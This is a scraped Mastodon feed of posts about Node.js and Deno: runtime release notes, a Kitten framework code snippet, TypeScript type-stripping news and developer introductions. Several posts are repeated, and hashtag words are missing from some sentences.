- Make deno outdated more robust
Run `deno upgrade` to get it

github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.1.6 has been released

- Correct handling of compilerOptions.types
- Better handling of npm package types
- Improvements to node:fs FileHandle
- Make deno outdated more robust
Run `deno upgrade` to get it

github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.1.6 has been released

- Correct handling of compilerOptions.types
- Better handling of npm package types
- Improvements to node:fs FileHandle
- Make deno outdated more robust
Run `deno upgrade` to get it

github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.1.6 has been released

- Correct handling of compilerOptions.types
- Better handling of npm package types
- Improvements to node:fs FileHandle
- Make deno outdated more robust
Run `deno upgrade` to get it

github.com/denoland/deno/relea

Aral Balkan's avatar
Aral Balkan

@aral@mastodon.ar.al

Pretty soon, you’re going to be able to view your live pages and the events on them in real time while developing Kitten apps.

The improved component model with support for class-based routes (and a server-side component hiearchy that lets you build well-encapsulated components and pages and work in an event-driven way) is coming along nicely and I’m back to writing Place¹ using it.

(In the GIF, you’re looking at Place’s profile settings page. Not shown here but those profile changes reflect in realtime on all open pages. The highlighted piece of code is what streams the event details to the browser.)

¹ codeberg.org/place/app

Screen recording of two web browser windows, side by side. The one on the right is showing Kitten’s Settings page at state: pages. I open the detail veiw for the /settings/profile route and see its ID, session id, number of connected sockets (1) and an empty Events table with name and data.

On the left, an instance of the /settings/profile route is open in the browser. I change the value of the Name field (erasing the t and s from Aral’s 1st) and I see two events pop up on the page on the right (Name: name, Data: { name: 'Aral’s 1s'}) and  (Name: name, Data: { name: 'Aral’s 1'}). Then I add the deleted letters back and see the event (Name: name, Data: { name: 'Aral’s 1st'}). Finally, I toggle the Show name? and Show Image? checkboxes on and off and see the events (name: howOrHide, { showOrHide: 'on', item: 'Image' }), (name: showOrHide, { item: 'Image' }, showOrHide	{ showOrHide: 'on', item: 'Name' })
ALT text detailsScreen recording of two web browser windows, side by side. The one on the right is showing Kitten’s Settings page at state: pages. I open the detail veiw for the /settings/profile route and see its ID, session id, number of connected sockets (1) and an empty Events table with name and data. On the left, an instance of the /settings/profile route is open in the browser. I change the value of the Name field (erasing the t and s from Aral’s 1st) and I see two events pop up on the page on the right (Name: name, Data: { name: 'Aral’s 1s'}) and (Name: name, Data: { name: 'Aral’s 1'}). Then I add the deleted letters back and see the event (Name: name, Data: { name: 'Aral’s 1st'}). Finally, I toggle the Show name? and Show Image? checkboxes on and off and see the events (name: howOrHide, { showOrHide: 'on', item: 'Image' }), (name: showOrHide, { item: 'Image' }, showOrHide { showOrHide: 'on', item: 'Name' })
Screenshot of code. The showPageEvent method is highlighted.

  onAddToPage () {
    this.addEventHandler(kitten.events, `kittenPageEvent-${this._page.id}`, this.showPageEvent)
  }

  /**
    Stream new page event details to top of the events list,
    hiding the placeholder if necessary.

    @param {{
      name: string,
      data: {HEADERS: any}
    }} event
  */
  showPageEvent (event) {
    delete event.data.HEADERS

    // Hide placeholder if necessary.
    if (this.placeHolderIsVisible) {
      this.page.send(kitten.html`
        <tr id='placeholder-${this.id}' swap-target='delete'>
      `)
      this.placeHolderIsVisible = false
    }

    // Send the new event row with event details.
    this.page.send(kitten.html`
      <tbody id=${this.id} swap-target='afterend:#${this.id}'>
        <tr>
          <td>${event.name}</td>
          <td>${util.inspect(event.data)}</td>
        </tr>
      </tbody>
    `)
  }
}

class Pages extends kitten.Component {
  html() {
    // We could just display a “loading” message here
    // as we’re going to refresh the list at onConnect(),
    // but given how fast it all happens, we might was well
    // send the whole list instead of having an odd flash.
    const pages = Object.values(kitten.pages)
ALT text detailsScreenshot of code. The showPageEvent method is highlighted. onAddToPage () { this.addEventHandler(kitten.events, `kittenPageEvent-${this._page.id}`, this.showPageEvent) } /** Stream new page event details to top of the events list, hiding the placeholder if necessary. @param {{ name: string, data: {HEADERS: any} }} event */ showPageEvent (event) { delete event.data.HEADERS // Hide placeholder if necessary. if (this.placeHolderIsVisible) { this.page.send(kitten.html` <tr id='placeholder-${this.id}' swap-target='delete'> `) this.placeHolderIsVisible = false } // Send the new event row with event details. this.page.send(kitten.html` <tbody id=${this.id} swap-target='afterend:#${this.id}'> <tr> <td>${event.name}</td> <td>${util.inspect(event.data)}</td> </tr> </tbody> `) } } class Pages extends kitten.Component { html() { // We could just display a “loading” message here // as we’re going to refresh the list at onConnect(), // but given how fast it all happens, we might was well // send the whole list instead of having an odd flash. const pages = Object.values(kitten.pages)
Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 🤝️ Nuxt.js

docs.deno.com/examples/nuxt_tu

Deno's avatar
Deno

@deno_land@fosstodon.org

Advent of Code with Deno is over!

Thanks to all who have participated. If we haven't contacted you about stickers, then please let us know (or email andy@deno.com).

Finally, one lucky winner will get the elite, special edition, hyper exclusive Deno sticker. (Here's Phil seeing it for the first time.)

More details 👇️
deno.com/blog/advent-of-code-2

phil seeing the special sticker for the first time
ALT text detailsphil seeing the special sticker for the first time
Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 🤝️ Nuxt.js

docs.deno.com/examples/nuxt_tu

Deno's avatar
Deno

@deno_land@fosstodon.org

Advent of Code with Deno is over!

Thanks to all who have participated. If we haven't contacted you about stickers, then please let us know (or email andy@deno.com).

Finally, one lucky winner will get the elite, special edition, hyper exclusive Deno sticker. (Here's Phil seeing it for the first time.)

More details 👇️
deno.com/blog/advent-of-code-2

phil seeing the special sticker for the first time
ALT text detailsphil seeing the special sticker for the first time
Deno's avatar
Deno

@deno_land@fosstodon.org

Advent of Code with Deno is over!

Thanks to all who have participated. If we haven't contacted you about stickers, then please let us know (or email andy@deno.com).

Finally, one lucky winner will get the elite, special edition, hyper exclusive Deno sticker. (Here's Phil seeing it for the first time.)

More details 👇️
deno.com/blog/advent-of-code-2

phil seeing the special sticker for the first time
ALT text detailsphil seeing the special sticker for the first time
Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 🤝️ Nuxt.js

docs.deno.com/examples/nuxt_tu

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.1.5 just landed —

▸ new QUIC API
▸ improved Discord.js compatibility
▸ better tasks support in workspaces

github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.1.5 just landed —

▸ new QUIC API
▸ improved Discord.js compatibility
▸ better tasks support in workspaces

github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.1.5 just landed —

▸ new QUIC API
▸ improved Discord.js compatibility
▸ better tasks support in workspaces

github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.1.5 just landed —

▸ new QUIC API
▸ improved Discord.js compatibility
▸ better tasks support in workspaces

github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.1.5 just landed —

▸ new QUIC API
▸ improved Discord.js compatibility
▸ better tasks support in workspaces

github.com/denoland/deno/relea

Axel Rauschmayer's avatar
Axel Rauschmayer

@rauschma@fosstodon.org

Node’s new built-in support for TypeScript
2ality.com/2025/01/nodejs-stri

Axel Rauschmayer's avatar
Axel Rauschmayer

@rauschma@fosstodon.org

Node’s new built-in support for TypeScript
2ality.com/2025/01/nodejs-stri

GENKI's avatar
GENKI

@nibushibu@vivaldi.net

年末年始、結局個人サイトの制作は

> から ファイルを生成する環境づくり

だけで終わってしまった。。
こういう風に自分のこととなると、作る前の整理整頓みたいなフェーズでおわっちゃうことがままあるので、今日で年末年始休みは終わっちゃうけど引き続きちまちま楽しみながら作っていこう。

まあなによりこの休みは子供たちといっぱい過ごせたからよしとしよう :tony_happy:

(ということで明日から仕事

Adrian Lansdown's avatar
Adrian Lansdown

@Adrian@managingengineers.net

I’ve been building a new project with v2 and part of me is really enjoying it. The other part is getting annoyed, mainly because the syntax is really close to but not quite

Adrian Lansdown's avatar
Adrian Lansdown

@Adrian@managingengineers.net

I’ve been building a new project with v2 and part of me is really enjoying it. The other part is getting annoyed, mainly because the syntax is really close to but not quite

Deno's avatar
Deno

@deno_land@fosstodon.org

Thank you for your support in helping us reach 100,000 GitHub stars! ⭐️

github.com/denoland/deno

Axel Rauschmayer's avatar
Axel Rauschmayer

@rauschma@fosstodon.org

Node.js 23.6.0 (“current”): --experimental-strip-types is enabled by default—i.e., we can run .ts files without compiling them.
2ality.com/2025/01/nodejs-stri

• Limitation of type stripping: no real compilation, only removal of type syntax. Most important unsupported features: enums & constructor parameter properties.

• Future: --experimental-transform-types which also supports TypeScript-only syntax.

Axel Rauschmayer's avatar
Axel Rauschmayer

@rauschma@fosstodon.org

Node.js 23.6.0 (“current”): --experimental-strip-types is enabled by default—i.e., we can run .ts files without compiling them.
2ality.com/2025/01/nodejs-stri

• Limitation of type stripping: no real compilation, only removal of type syntax. Most important unsupported features: enums & constructor parameter properties.

• Future: --experimental-transform-types which also supports TypeScript-only syntax.

Blake Leonard's avatar
Blake Leonard

@blake@infosec.town

I think I'm gonna start on the web UI for Northwood, and I think I want to use Solid.js for it. The decision now is, , Bun, or ?

I haven't used
yet but I'm interested so I might give it a shot. Any reason not to?

Deno's avatar
Deno

@deno_land@fosstodon.org

Thank you for your support in helping us reach 100,000 GitHub stars! ⭐️

github.com/denoland/deno

Nikhil 🐧's avatar
Nikhil 🐧

@realestninja@social.linux.pizza

I tried and now I never want to touch again 🫠

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 🤝️ @qwikdev

docs.deno.com/examples/qwik_tu

build qwik with deno
ALT text detailsbuild qwik with deno
Deno's avatar
Deno

@deno_land@fosstodon.org

Deno can now finally be installed through npm!

npm install -g deno

npx deno eval -p 1+2

npmjs.com/package/deno

Deno's avatar
Deno

@deno_land@fosstodon.org

Easily check for outdated dependencies with `deno outdated` 👇️

docs.deno.com/runtime/referenc

Deno outdated will check for outdated dependencies.
ALT text detailsDeno outdated will check for outdated dependencies.
Deno's avatar
Deno

@deno_land@fosstodon.org

this wren wants to remind you that Deno permission flags have shorthands

deno.com/blog/v1.46#short-hand

deno permission flags have shorthands
ALT text detailsdeno permission flags have shorthands
Axel Rauschmayer's avatar
Axel Rauschmayer

@rauschma@fosstodon.org

New Node.js feature by @joyeecheung: Synchronous hooks (to “patch” module loading) that work for both ESM and CommonJS. Benefits:
– CommonJS patching becomes future-proof because current hacks aren’t needed anymore.
– Simpler API for ESM that is good enough for most cases.
github.com/nodejs/node/pull/55

Background and motivation: github.com/nodejs/node/issues/

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω⚙️Ω
New features for , the customizable for your Mastodon timeline:

🪓 Live filtering based on (inclusive and exclusive)

#️⃣ Seed your timeline with toots from anywhere in the Fediverse that contain trending tags ( and have been big lately)

🔥 Icons to inform you whether a toot is from an account you follow, a hashtag you follow, or is trending (and if so, why it's trending)

⚖️ Weight based on retoots, replies, age, etc.

国 Filter on language

I kind of find it hard to look at Mastodon without it at this point. The installable demo can be found here: github.com/michelcrypt4d4mus/f

Also available as a NodeJS package built on .
Here's a video of the demo app:

Dominik's avatar
Dominik

@chrastecky@phpc.social

This is one of the most useful tools I have built:

history.nix-packages.com

Working with multiple versions of whatever software you need for your legacy app is a breeze.

You want some specific version of or whatever else without it polluting your system? You're just one `nix-shell` command away!

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 🤝️ SolidJS

deno.com/blog/build-solidjs-wi

Deno's avatar
Deno

@deno_land@fosstodon.org

Update on : Oracle has filed a notice of appearance, signaling engagement in the JavaScript trademark case. Aside from this, we’ve had no communication. Their response is due by January 4th.

deno.com/blog/deno-v-oracle/20

Stefan Bohacek's avatar
Stefan Bohacek

@stefan@stefanbohacek.online

Ah, wild shot, but is anyone using the fairly outdated mastodon-api node.js library?

github.com/vanita5/mastodon-ap

Seems like the "streaming/user" endpoint no longer works?

Maybe it's really time to switch to something else.

noim's avatar
noim

@noim@noc.social

til: no.de redirects to nodejs.org
Is this domain actually owned by the OpenJS Foundation or some random person?

Output of “curl https://no.de -I”

HTTP/2 302 
server: nginx
date: Thu, 28 Nov 2024 12:59:37 GMT
content-type: text/html
content-length: 138
location: https://nodejs.org/
x-frame-options: SAMEORIGIN
ALT text detailsOutput of “curl https://no.de -I” HTTP/2 302 server: nginx date: Thu, 28 Nov 2024 12:59:37 GMT content-type: text/html content-length: 138 location: https://nodejs.org/ x-frame-options: SAMEORIGIN
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

i added the ability to weight toots containing hashtags you follow to the customizable timeline for Mastodon in .

find it here: github.com/michelcrypt4d4mus/f

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω⚠️🐘⚠️Ω
I did some hacking at @pkreissel's implementation of a customizable algorithm for your Mastodon feed. I fixed some bugs and added a few features but maybe most importantly I streamlined the process of installing and running the demo app so you can experience the magic of his invention reshaping your Mastodon timeline for yourself with ease.

Seriously everything about having an algorithm adjust my feed to make sure I see stuff I might otherwise have missed has made my Mastodon experience like 1,000x better. The fact that it's (extremely) granularly customizable is the icing on the cake.

Setup should be trivial for anyone vaguely familiar with the command line. Even if you're scared of the command line you should be able to copy/paste the 3 commands listed in the installation instructions, all of which are in the GitHub repo:

github.com/michelcrypt4d4mus/f

Control panel showing how the Mastodon feed algorithm can be adjusted with a bunch of sliders.
ALT text detailsControl panel showing how the Mastodon feed algorithm can be adjusted with a bunch of sliders.
Deno's avatar
Deno

@deno_land@fosstodon.org

Deno 2.1 is out 🎉️
✈️️ first class Wasm support
🌳️ Long Term Support branch
⭐️ Improved dependency management
and much more!

deno.com/blog/v2.1

Stefan Bohacek's avatar
Stefan Bohacek

@stefan@stefanbohacek.online

Has anyone made a good, reliable "log in with your fediverse account" library/service, ideally for node.js, yet?

Emelia 👸🏻's avatar
Emelia 👸🏻

@thisismissem@hachyderm.io

Are there any experts in TLS/SSL who can review this pull request and comment as to if the implementation is correct?

github.com/brianc/node-postgre

This would be of a fantastic help to the Mastodon project.

cc maybe @indutny, @Trott or anyone?

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno is a JavaScript package manager with more flexibility:
📦️ npm and JSR
🛠️️ package.json and deno.json
👟️ fast

deno.com/blog/your-new-js-pack

Aral Balkan's avatar
Aral Balkan

@aral@mastodon.ar.al

Really enjoying adding end-to-end tests to Kitten¹ using Playwright² and my own little Kitten controller class for starting/stopping/otherwise interacting with the Kitten server.

Just wrote some that comprehensively test identity creation and authentication for Small Web places:

codeberg.org/kitten/app/src/br

Lots more to write but I think I’ve found a good flow :)

:kitten:💕

¹ kitten.small-web.org
² playwright.dev

Jake Hamilton's avatar
Jake Hamilton

@jakehamilton@hachyderm.io

Hi everyone, I am now looking for full-time work! If you have a remote Software Engineer position available and work with web tech ( / / / / , etc), (or / ), , or / then please reach out! I love building tools to solve problems and delight users.

For examples of my previous work, links to my projects, and my resume, please see my website: jakehamilton.dev

Boosts very much appreciated!

ableton daughter :LPH:'s avatar
ableton daughter :LPH:

@sierra@kill-corporations.enterprises

Guys, I saw this old #videogame at a #thrift store and thought it looked fun, so I brought it home with me! Does anyone here on the #Mastodon network know anything about it? #retro #vintage #linux #foss #qthestorm #citylife #birds #nodejs #detroit
finna jerk it the game. for the facebook
ALT text detailsfinna jerk it the game. for the facebook
Ulises Gascon's avatar
Ulises Gascon

@ulisesgascon@fosstodon.org

Introducing v5: A New Era for Framework 🛸

👾 The official blog post is here!
expressjs.com/2024/10/15/v5-re

Ulises Gascon's avatar
Ulises Gascon

@ulisesgascon@fosstodon.org

🥳 It as been officially released on today. My book for ! ✨

A Comprehensive guide to building efficient, full-featured web applications with Node.js

📚 Order now at:
- Amazon (US): packt.link/S0w3Z
- Amazon (Spain): packt.link/y1PCt

Book cover. Node.js for Beginners by Ulises Gascón (1st edition Packt). A Comprehensive guide to building efficient, full-featured web applications with Node.js
ALT text detailsBook cover. Node.js for Beginners by Ulises Gascón (1st edition Packt). A Comprehensive guide to building efficient, full-featured web applications with Node.js
Emelia 👸🏻's avatar
Emelia 👸🏻

@thisismissem@hachyderm.io

The fantastic @adonisframework — which we used to build @iftas CCS reasonably quickly — is now on Mastodon / the Fediverse!

If you're looking for a fantastic web framework, Adonis.js is not to miss!

AdonisJS Framework's avatar
AdonisJS Framework

@adonisframework@fosstodon.org

🌟 Hello Fediverse! 👋

Are you passionate about and looking to create bespoke backend applications? If so, you’ll want to follow us! Join our community to stay updated on the latest news, features, and updates from the AdonisJS framework.

Let’s build something amazing together! 🚀

Richard Bairwell's avatar
Richard Bairwell

@rbairwell@mastodon.org.uk

Just so people know, on the Fediverse I'm also on:
* Neurodifferent Mastodon - neurodifferent.me/@rbairwell for and stuff
* Coding Mastodon - functional.cafe/@rbairwell for , and other / stuff
* Backup Mastodon - hachyderm.io/@rbairwell In case of problems with any of the above and/or additional and stuff
* Backup of Backup Mastodon - universeodon.com/@rbairwell In case any of the above are unavailable(!)

Bjarne's avatar
Bjarne

@bjarne@social.bvoigtlaender.de · Reply to 洪 民憙 (Hong Minhee)'s post

@hongminhee I did try #deno some time ago, but feel like i made the mistake of skipping essential steps as I was impatient, expected it to be more similar #nodejs than it seemed and already had other new things in that project to learn so i dropped deno.

When you learned it did you only use the official docs or did you had other good material? Did you had bigger gotchas which would have been helpful to know beforehand?

But maybe i should just start small again making an hello world and the rest follows. 🤔

wraptile's avatar
wraptile

@wraptile@fosstodon.org · Reply to 洪 民憙 (Hong Minhee)'s post

@hongminhee @deno_land it's amazing what a difference proper tooling makes!

Also check out which is very similar to Deno but even more convenient at times. I'm always in between these two and not really sure which one is better just happy to never use ever again 💀

Pablo Berganza (he/him)'s avatar
Pablo Berganza (he/him)

@pablo@sivar.cafe

It’s been years since I’ve used NodeJS and was curious about the current situation. Is Deno a thing? I see they backtracked a bit and now have an NPM compatibility layer (although I don’t mind that). And I think I like the direction with JSR.io.
Is Bun alright? I’ve seen some comments saying that it was not ready for v1 yet.
Is this going to be like an io.js situation and we will all go back to Node eventually?

Collin Atworth :demiman:'s avatar
Collin Atworth :demiman:

@collin@masto.collins-corner.cc

time!

My name is Collin, and I'm a geek from the home of the BLFC, Reno NV! In my boundless free time, I like to play open-world games such as or . When I'm not, I'm working on some application, or attempting to draw something that resembles UwU

I've been on several instances, including my own self-hosted Akkoma, Sharkey and Masto instances.

If you're curious what a grumpy, bear has to say, feel free to drop me a follow :)

Thomas Steiner :chrome:'s avatar
Thomas Steiner :chrome:

@tomayac@toot.cafe

Oh, that's interesting 👀: is experimenting with letting you run code directly by simply stripping the types, but without performing actual type checks: github.com/nodejs/node/pull/53. This would allow you to just run `node index.ts`.

Elizabeth's avatar
Elizabeth

@elizabeth@tech.lgbt

Well, after some days in this instance, I think an is in order.

I'm Elizabeth, and I'm a full-stack developer in her mid-twenties based in Madrid. I'm trans, bi, and poly.

On the tech side, I mostly work with and . I'm also trying to learn and , but they're not my main focus for now.

I also like racing, rail transport, videogames, rainy days, and cuddling with my partners and close friends.

Feel free to correct my English grammar.

wraptile's avatar
wraptile

@wraptile@fosstodon.org

and people are putting an incredible amount of work modernizing server side js.

The energy is reminding me of early day - so many new tools made with proper care behind rather than most of NodeJS ecosystem which is just glued together with band-aids and staples :blobcatgrimacing:

That being said, after working with Deno for the past week it still feels a bit too bleeding edge though it does work with !

Andrew Mark McCall's avatar
Andrew Mark McCall

@elkcityhazard@indieweb.social

I owe the hospital $2500 for a cat scan and I am looking to do small web projects to help satisfy that debt. Maybe you need some web maintenance tasks that have been on the back burner? I have experience with Looking for small projects around $250 - $350 . If you know someone who might benefit please

Dylan </closingtags.com>'s avatar
Dylan

@closingtags@mastodon.social

I'm Dylan, a developer from the Midwest, US. I enjoy working with , , , , and . I've also done lots with .

I love learning about , dabbling in , and tinkering in my which I automate with .

I frequently at closingtags.com where I write things related to . You can reach me via the contact form there or here!

Jon Park's avatar
Jon Park

@jonspark@howdee.social

A quick re : I'm Jon, a front-end-turned-a-bit-of-everything based in You may have followed me on mastodon.social/@jonspark

I run my own distributed micro-agency, & have a few opinions about in recruitment. I like and spend some time in and .

I'm , a and husband. I like and being as as I can. We had a and I like to tinker in and the .

tbeseda's avatar
tbeseda

@tbeseda@indieweb.social

New post: Super Helpful: Server-Timing HTTP Response Header - tbeseda.com/blog/super-helpful
+
New (v small) package: `header-timers` - github.com/tbeseda/header-time

Article screenshot with embedded screenshot of Safari Developer Tools showing custom Server Timing entries.
ALT text detailsArticle screenshot with embedded screenshot of Safari Developer Tools showing custom Server Timing entries.
Stéphan Kochen's avatar
Stéphan Kochen

@kosinus@hachyderm.io

Making a pinned post. Hi everyone! 👋

I'm a software engineer in the Netherlands, working in entertainment. At work we build content management tools and real-time web apps, with me mostly being involved in the latter.

I do a lot of , , and . I also build stuff in my spare time, like castling.club, and contribute to open-source projects where I can.

Let's reclaim our internet using the fediverse! 💪

Emelia 👸🏻's avatar
Emelia 👸🏻

@thisismissem@hachyderm.io

Hey friends, from July 1st I'll be available for freelance work again (primarily on a part-time basis so I can also work on my NLNet grant + open source)

I'd prefer to work on something related, and usually work with Node.js and Ruby.

emelia@brandedcode.com if you'd like to hire me.

Emelia 👸🏻's avatar
Emelia 👸🏻

@thisismissem@hachyderm.io

Your Node is Leaking Memory? setTimeout Could be the Reason | Armin Ronacher's Thoughts and Writings


lucumr.pocoo.org/2024/6/5/node

gemma lynn's avatar
gemma lynn

@ellotheth@bsd.network

today was my last day at @wonderproxy. last day working with @preinheimer and @schmalliso and @tdriley and will (and puck, the new me!).

it's been a pretty solid decade, folks. i have some FEELS. i learned , , , , , , , , and how and why not to use 's. i keynoted , staffed a vendor booth at , and contributed (a very little bit) to my favorite framework.

there is nothing in my adult life that has had as much of an impact on my career as the folks at wonderproxy. thanks for being awesome, wonderpeople. it's been a privilege working with you.

plague-of-grackles 😷🍉🐈‍⬛'s avatar
plague-of-grackles 😷🍉🐈‍⬛

@amcooper@toot.cat

Ok thanks to @nikolovlazar 's video, I was able to get debugging working for a tiny app in 🎊​. Next step is to get it working for a slightly larger application.

Pax's avatar
Pax

@pasimako@mastodon.social

Introduction to TypeScript API Testing with Jest and SuperTest

ubuverse.com/introduction-type

Pax's avatar
Pax

@pasimako@mastodon.social

How to set up TypeScript with ESLint & Prettier in Node.js from scratch

ubuverse.com/setting-up-typesc

Pax's avatar
Pax

@pasimako@mastodon.social

How to Configure TypeScript in Node.js to Emit Native ESM Code

ubuverse.com/configure-typescr

Pax's avatar
Pax

@pasimako@mastodon.social

Creating a Node.js Project with ESLint and Prettier from Scratch

ubuverse.com/creating-a-nodejs

kalvn's avatar
kalvn

@kalvn@mastodon.xyz

Je profite de la vague d'arrivage pour faire mon que je n'ai jamais vraiment faite finalement :)

Je suis dev, principalement web depuis maintenant une douzaine d'années. J'ai commencé avec et la stack comme beaucoup, un petit passage forcé et douloureux par .NET et maintenant principalement du (avec Vue) et un peu de

Au delà de tout ça, j'aime les jeux vidéos (BotW et TotK sont en haut de ma liste), le , la et les bouquins :)

Scopique's avatar
Scopique

@scopique@gamepad.club

Scopique everywhere. Life-long , super-entheusiastic about .

Occasional attempted , but taking an extended break.

Mostly life-long , currently including and whatever else fits the bill. Currently working on a secret project for one hour every three months.

at scopique.com.

I dunno what else to post here right now. I think I covered all the hashtags.

nabeards's avatar
nabeards

@nabeards@hachyderm.io

It's about time I did my as I was just able to make my account on .io, hooray!

I am a currently traveling the world as a . I mainly write in and in the and spaces, have been traveling the world with my wife since we left in 2015, speak English and Spanish (), and am currently studying .

Also I'm quite liberal, privacy-conscious, and my pronouns are he/him. So hello all!